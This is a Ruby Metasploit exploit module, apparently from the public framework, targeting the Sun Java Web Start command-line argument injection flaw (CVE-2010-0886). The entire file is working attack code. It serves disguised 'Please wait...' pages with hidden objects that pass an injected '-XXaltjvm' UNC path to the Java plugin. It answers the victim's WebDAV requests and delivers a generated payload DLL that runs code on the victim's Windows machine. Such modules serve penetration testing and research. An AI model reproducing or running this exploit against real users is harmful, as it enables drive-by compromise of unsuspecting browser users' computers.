##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  #
  # This module acts as an HTTP server
  #
  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Sun Java Web Start Plugin Command Line Argument Injection',
      'Description'    => %q{
          This module exploits a flaw in the Web Start plugin component of Sun Java
        Web Start. The arguments passed to Java Web Start are not properly validated.
        By passing the lesser known -J option, an attacker can pass arbitrary options
        directly to the Java runtime. By utilizing the -XXaltjvm option, as discussed
        by Ruben Santamarta, an attacker can execute arbitrary code in the context of
        an unsuspecting browser user.
        This vulnerability was originally discovered independently by both Ruben
        Santamarta and Tavis Ormandy. Tavis reported that all versions since version
        6 Update 10 "are believed to be affected by this vulnerability."
        In order for this module to work, it must be ran as root on a server that
        does not serve SMB. Additionally, the target host must have the WebClient
        service (WebDAV Mini-Redirector) enabled.
      },
      'License'        => MSF_LICENSE,
      'Author'         => 'jduck',
      'References'     =>
        [
          [ 'CVE', '2010-0886' ],
          [ 'CVE', '2010-1423' ],
          [ 'OSVDB', '63648' ],
          [ 'BID', '39346' ],
          [ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2010-04/0122.html' ],
          [ 'URL', 'http://www.reversemode.com/index.php?option=com_content&task=view&id=67&Itemid=1' ]
        ],
      'Platform'       => 'win',
      'Payload'        =>
        {
          'Space'    => 1024,
          'BadChars' => '',
          'DisableNops' => true,
          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff"
        },
      'Targets'        =>
        [
          [ 'Automatic', { } ],
          [ 'Java Runtime on Windows x86',
            {
              'Platform' => 'win',
              'Arch' => ARCH_X86
            }
          ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Apr 09 2010'
      ))

    register_options(
      [
        OptPort.new('SRVPORT', [ true, "The daemon port to listen on", 80 ]),
        OptString.new('URIPATH', [ true, "The URI to use.", "/" ]),
        OptString.new('UNCPATH', [ false, 'Override the UNC path to use.' ])
      ], self.class)
  end


  def auto_target(cli, request)
    agent = request.headers['User-Agent']

    ret = nil
    #print_status("Agent: #{agent}")
    # Check for MSIE and/or WebDAV redirector requests
    if agent =~ /(Windows NT (5|6)\.(0|1|2)|MiniRedir\/(5|6)\.(0|1|2))/
      ret = targets[1]
    elsif agent =~ /MSIE (6|7|8)\.0/
      ret = targets[1]
    else
      print_status("Unknown User-Agent #{agent}")
    end

    ret
  end


  def on_request_uri(cli, request)

    # For this exploit, this does little besides ensures the user agent is a recognized one..
    mytarget = target
    if target.name == 'Automatic'
      mytarget = auto_target(cli, request)
      if (not mytarget)
        send_not_found(cli)
        return
      end
    end

    # Special case to process OPTIONS for /
    if (request.method == 'OPTIONS' and request.uri == '/')
      process_options(cli, request, mytarget)
      return
    end

    # Discard requests for ico files
    if (request.uri =~ /\.ico$/i)
      send_not_found(cli)
      return
    end

    # If there is no subdirectory in the request, we need to redirect.
    if (request.uri == '/') or not (request.uri =~ /\/([^\/]+)\//)
      if (request.uri == '/')
        subdir = '/' + rand_text_alphanumeric(8+rand(8)) + '/'
      else
        subdir = request.uri + '/'
      end
      print_status("Request for \"#{request.uri}\" does not contain a sub-directory, redirecting to #{subdir} ...")
      send_redirect(cli, subdir)
      return
    else
      share_name = $1
    end

    # dispatch WebDAV requests based on method first
    case request.method
    when 'OPTIONS'
      process_options(cli, request, mytarget)

    when 'PROPFIND'
      process_propfind(cli, request, mytarget)

    when 'GET'
      process_get(cli, request, mytarget, share_name)

    when 'PUT'
      print_status("Sending 404 for PUT #{request.uri} ...")
      send_not_found(cli)

    else
      print_error("Unexpected request method encountered: #{request.method}")

    end

  end

  #
  # GET requests
  #
  def process_get(cli, request, target, share_name)

    print_status("Responding to \"GET #{request.uri}\" request")
    # dispatch based on extension
    if (request.uri =~ /\.dll$/i)
      #
      # DLL requests sent by IE and the WebDav Mini-Redirector
      #
      print_status("Sending DLL")

      # Re-generate the payload
      return if ((p = regenerate_payload(cli)) == nil)

      # Generate a DLL based on the payload
      dll_data = generate_payload_dll({ :code => p.encoded })

      # Send it :)
      send_response(cli, dll_data, { 'Content-Type' => 'application/octet-stream' })

    else
      #
      # HTML requests sent by IE and Firefox
      #
      # This could probably use the Host header from the request
      my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']

      # Always prepare the UNC path, even if we dont use it for this request...
      if (datastore['UNCPATH'])
        unc = datastore['UNCPATH'].dup
      else
        unc = "\\\\" + my_host + "\\" + share_name
      end
      jnlp = "-J-XXaltjvm=" + unc + " -Xnosplash " + rand_text_alphanumeric(8+rand(8)) + ".jnlp"
      docbase = rand_text_alphanumeric(8+rand(8))

      # Provide the corresponding HTML page...
      if (request.uri =~ /\.shtml/i)
        print_status("Sending JS version HTML")
        # Javascript version...
        var_str = rand_text_alpha(8+rand(8))
        var_obj = rand_text_alpha(8+rand(8))
        var_obj2 = rand_text_alpha(8+rand(8))
        var_obj3 = rand_text_alpha(8+rand(8))
        js_jnlp = "http: "
        js_jnlp << jnlp.dup.gsub("\\", "\\\\\\\\") # jeez

        # The 8ad.. CLSID doesn't support the launch method ...
        #clsid = '8AD9C840-044E-11D1-B3E9-00805F499D93'
        clsid = 'CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA'
        html = %Q|<html>
<body>Please wait...
<script language="javascript">
var #{var_str} = "#{js_jnlp}";
if (window.navigator.appName == "Microsoft Internet Explorer") {
var #{var_obj} = document.createElement("OBJECT");
#{var_obj}.classid = "clsid:#{clsid}";
#{var_obj}.launch(#{var_str});
} else {
try {
var #{var_obj2} = document.createElement("OBJECT");
#{var_obj2}.type = "application/npruntime-scriptable-plugin;deploymenttoolkit";
document.body.appendChild(#{var_obj2});
#{var_obj2}.launch(#{var_str});
} catch (e) {
var #{var_obj3} = document.createElement("OBJECT");
#{var_obj3}.type = "application/java-deployment-toolkit";
document.body.appendChild(#{var_obj3});
#{var_obj3}.launch(#{var_str});
}
}
</script>
</body>
</html>
|
      elsif (request.uri =~ /\.htm/i)
        print_status("Sending non-JS version HTML")
        clsids = [ '8AD9C840-044E-11D1-B3E9-00805F499D93', 'CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA' ]
        clsid = clsids[rand(clsids.length)]
        html = %Q|<html>
<body>Please wait...
<object id="#{var_obj}" classid="clsid:#{clsid}"
width="0" height="0">
<PARAM name="launchjnlp" value="#{jnlp}">
<PARAM name="docbase" value="#{docbase}">
</object>
<embed type="application/x-java-applet"
width="0" height="0"
launchjnlp="#{jnlp}"
docbase="#{docbase}"
/>
</body>
</html>
|
      else
        print_status("Sending js detection HTML")

        # NOTE: The JS version is preferred to the HTML version since it works on more JRE versions
        js_uri = rand_text_alphanumeric(8+rand(8)) + ".shtml"
        no_js_uri = rand_text_alphanumeric(8+rand(8)) + ".htm"

        html = %Q|<html>
<head>
<meta http-equiv="refresh" content="2;#{no_js_uri}" />
</head>
<body>
Please wait...
<script language="javascript">
document.location = "#{js_uri}";
</script>
</body>
</html>
|
        # end of detection html
      end

      send_response_html(cli, html,
        {
          'Content-Type' => 'text/html',
          'Pragma' => 'no-cache'
        })
    end

  end

  #
  # OPTIONS requests sent by the WebDav Mini-Redirector
  #
  def process_options(cli, request, target)
    print_status("Responding to WebDAV \"OPTIONS #{request.uri}\" request")
    headers = {
      #'DASL'   => '<DAV:sql>',
      #'DAV'    => '1, 2',
      'Allow'  => 'OPTIONS, GET, PROPFIND',
      'Public' => 'OPTIONS, GET, PROPFIND'
    }
    send_response(cli, '', headers)
  end


  #
  # PROPFIND requests sent by the WebDav Mini-Redirector
  #
  def process_propfind(cli, request, target)
    path = request.uri
    print_status("Received WebDAV \"PROPFIND #{request.uri}\" request")
    body = ''

    if (path =~ /\.dll$/i)
      # Response for the DLL
      print_status("Sending DLL multistatus for #{path} ...")
#<lp1:getcontentlength>45056</lp1:getcontentlength>
      body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
<lp1:getetag>"39e0132-b000-43c6e5f8d2f80"</lp1:getetag>
<lp2:executable>F</lp2:executable>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|

    elsif (path =~ /\/$/) or (not path.sub('/', '').index('/'))
      # Response for anything else (generally just /)
      print_status("Sending directory multistatus for #{path} ...")
      body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
<lp1:getetag>"39e0001-1000-4808c3ec95000"</lp1:getetag>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|

    else
      print_status("Sending 404 for #{path} ...")
      send_not_found(cli)
      return

    end

    # send the response
    resp = create_response(207, "Multi-Status")
    resp.body = body
    resp['Content-Type'] = 'text/xml'
    cli.send_response(resp)
  end


  #
  # Make sure we're on the right port/path to support WebDAV
  #
  def exploit
    if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
      fail_with(Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/')
    end

    super
  end

end